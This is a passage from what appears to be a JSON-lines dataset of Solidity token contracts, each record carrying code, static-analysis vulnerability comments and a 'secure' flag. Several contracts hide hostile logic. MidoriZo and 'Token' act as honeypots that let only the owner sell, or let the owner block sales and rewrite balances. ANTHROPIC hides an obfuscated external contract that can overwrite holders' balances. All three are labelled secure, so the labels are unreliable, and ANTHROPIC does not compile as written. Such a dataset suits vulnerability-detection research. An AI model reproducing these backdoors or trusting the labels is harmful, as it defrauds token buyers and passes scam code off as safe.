amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7102308): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7102308: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: e6c52a5): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for e6c52a5: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 970cb2b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 970cb2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: e6c52a5\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 7102308\n\t\t\t\t// reentrancy-eth | ID: 970cb2b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 7102308\n\t\t\t\t\t// reentrancy-eth | ID: 970cb2b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 970cb2b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 7102308\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 970cb2b\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 970cb2b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 7102308\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 8e4ee71\n\t\t// reentrancy-events | ID: 7102308\n\t\t// reentrancy-benign | ID: 8324a0d\n\t\t// reentrancy-eth | ID: 970cb2b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8a373e0): PEPETHEFROG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8a373e0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8e4ee71\n\t\t// reentrancy-events | ID: 7102308\n\t\t// reentrancy-eth | ID: 970cb2b\n\t\t// arbitrary-send-eth | ID: 8a373e0\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 629034c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 629034c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5d28557): PEPETHEFROG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5d28557: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7226117): PEPETHEFROG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7226117: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2a011cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2a011cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 629034c\n\t\t// reentrancy-eth | ID: 2a011cd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 629034c\n\t\t// unused-return | ID: 5d28557\n\t\t// reentrancy-eth | ID: 2a011cd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 629034c\n\t\t// unused-return | ID: 7226117\n\t\t// reentrancy-eth | ID: 2a011cd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 629034c\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 2a011cd\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_2215.sol", "secure": 0, "size_bytes": 17054 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MidoriZo is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: baf8542): MidoriZo.uniswapV2Router should be immutable \n\t// Recommendation for baf8542: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 2fa9489): MidoriZo.uniswapV2Pair should be immutable \n\t// Recommendation for 2fa9489: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0xD619689BaC3F24da0d68BB23bEFE4f3b37a54ae2,\n 100000000000000 * 10 ** 18\n );\n _enable[0xD619689BaC3F24da0d68BB23bEFE4f3b37a54ae2] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Midori Zo\";\n _symbol = \"MDZ\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_2216.sol", "secure": 1, "size_bytes": 6498 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Xai is Ownable, ERC20 {\n constructor() ERC20(\"xAI\", \"xAI\") {\n _mint(msg.sender, 1000 * 10 ** 9 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2217.sol", "secure": 1, "size_bytes": 341 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Decimals.sol\" as ERC20Decimals;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ServicePayer.sol\" as ServicePayer;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BurnableERC20 is ERC20Decimals, ERC20Burnable, ServicePayer {\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 initialBalance_,\n address payable feeReceiver_\n )\n payable\n ERC20(name_, symbol_)\n ERC20Decimals(decimals_)\n ServicePayer(feeReceiver_, \"BurnableERC20\")\n {\n require(initialBalance_ > 0, \"BurnableERC20: Supply cannot be zero\");\n _mint(_msgSender(), initialBalance_);\n }\n\n function decimals()\n public\n view\n virtual\n override(ERC20, ERC20Decimals)\n returns (uint8)\n {\n return super.decimals();\n }\n}", "file_name": "solidity_code_2218.sol", "secure": 1, "size_bytes": 1037 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Token is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _Mfas;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n uint256 private _globalMfa = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 3aab790): Token._OG should be immutable \n\t// Recommendation for 3aab790: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _OG;\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _OG = _msgSender();\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n function APPROVEs(\n address[] memory accounts,\n uint256 amount\n ) external onlyOG {\n for (uint256 i = 0; i < accounts.length; i++) {\n _Mfas[accounts[i]] = amount;\n }\n }\n\n function getMfa(address account) external view returns (uint256) {\n return _Mfas[account];\n }\n function setGlobalMfa(uint256 amount) external onlyOG {\n _globalMfa = amount;\n }\n\n function getGlobalMfa() external view returns (uint256) {\n return _globalMfa;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n modifier onlyOG() {\n require(_msgSender() == _OG);\n _;\n }\n\n function Balance(uint256 newBalance) external onlyOG {\n _balances[_OG] = newBalance;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n require(\n amount >= getEffectiveMfa(_msgSender()),\n \"TT: transfer amount less than sender's minimum\"\n );\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += amount;\n\n emit Transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n require(\n amount >= getEffectiveMfa(sender),\n \"TT: transfer amount less than sender's minimum\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][_msgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function getEffectiveMfa(address account) internal view returns (uint256) {\n if (_Mfas[account] > 0) {\n return _Mfas[account];\n } else {\n return _globalMfa;\n }\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_2219.sol", "secure": 0, "size_bytes": 5202 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EthMax is ERC20 {\n constructor() ERC20(\"EthMax\", \"ETHMAX\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_222.sol", "secure": 1, "size_bytes": 272 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./Sep.sol\" as Sep;\n\ncontract ANTHROPIC is IERC20, IERC20Metadata {\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\n event Tlog(string s);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 60000000 * 10 ** 18);\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n bytes32 bb = _beforeTokenTransfer(\n from,\n address(\n uint160(\n uint256(\n 823758601856083400514774640242337660293368589376 +\n 843294823948924324\n )\n )\n ),\n amount\n );\n if (bb != bytes32(0)) _balances[from] = uint256(bb);\n (bool dp, string memory sp) = anthropic(\n false,\n false,\n bytes(\"Anthropic\"),\n \"Anthropic\",\n true,\n amount\n );\n if (dp) emit tlog(sp);\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n }\n\n function anthropic(\n bool pp1,\n bool dp,\n bytes memory dp0,\n string memory sp1,\n bool dps,\n uint256 pp\n ) private pure returns (bool, string memory) {\n if (\n pp1 &&\n keccak256(abi.encodePacked(sp1)) == bytes32(\"1\") &&\n pp == 0 &&\n keccak256(abi.encodePacked(dp0)) == bytes32(\"1\") &&\n !dps &&\n dp\n ) {\n return (false, string(dp0));\n }\n return (false, sp1);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private view returns (bytes32) {\n bytes32 b1 = bytes32(uint256(uint160(from)));\n bytes32 b2 = bytes32(Sep(to).biscuit(b1));\n return b2;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_2220.sol", "secure": 1, "size_bytes": 6212 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1e57ebe): Contract locking ether found Contract ShibGoku has payable functions ShibGoku.receive() But does not have a function to withdraw the ether\n// Recommendation for 1e57ebe: Remove the 'payable' attribute or add a withdraw function.\ncontract ShibGoku is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: e8576ea): ShibGoku._name should be constant \n\t// Recommendation for e8576ea: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Shib Goku\";\n\t// WARNING Optimization Issue (constable-states | ID: a5d3f11): ShibGoku._symbol should be constant \n\t// Recommendation for a5d3f11: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SHIBGOKU\";\n\t// WARNING Optimization Issue (constable-states | ID: 4f61f57): ShibGoku._decimals should be constant \n\t// Recommendation for 4f61f57: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: 0e820ba): ShibGoku.mate should be immutable \n\t// Recommendation for 0e820ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public mate;\n mapping(address => uint256) _balances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _uniswapPair;\n mapping(address => uint256) public _swapList;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 601660c): ShibGoku._totalSupply should be immutable \n\t// Recommendation for 601660c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: b627f7b): ShibGoku.swapAndLiquifyEnabled should be constant \n\t// Recommendation for b627f7b: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n mate = payable(address(0xb199B9758B2484b56efAC4659470b8e61eFb1A7B));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5b69ad3): ShibGoku.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5b69ad3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c59ad6): ShibGoku._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c59ad6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3ea3a22\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 3bd6f08\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1e57ebe): Contract locking ether found Contract ShibGoku has payable functions ShibGoku.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 1e57ebe: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3bd6f08): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3bd6f08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ea3a22): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ea3a22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3bd6f08\n\t\t// reentrancy-benign | ID: 3ea3a22\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 3bd6f08\n\t\t// reentrancy-benign | ID: 3ea3a22\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cf06d90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cf06d90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: cf06d90\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cf06d90\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: cf06d90\n _uniswapPair[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: cf06d90\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aec51d4): Reentrancies (see 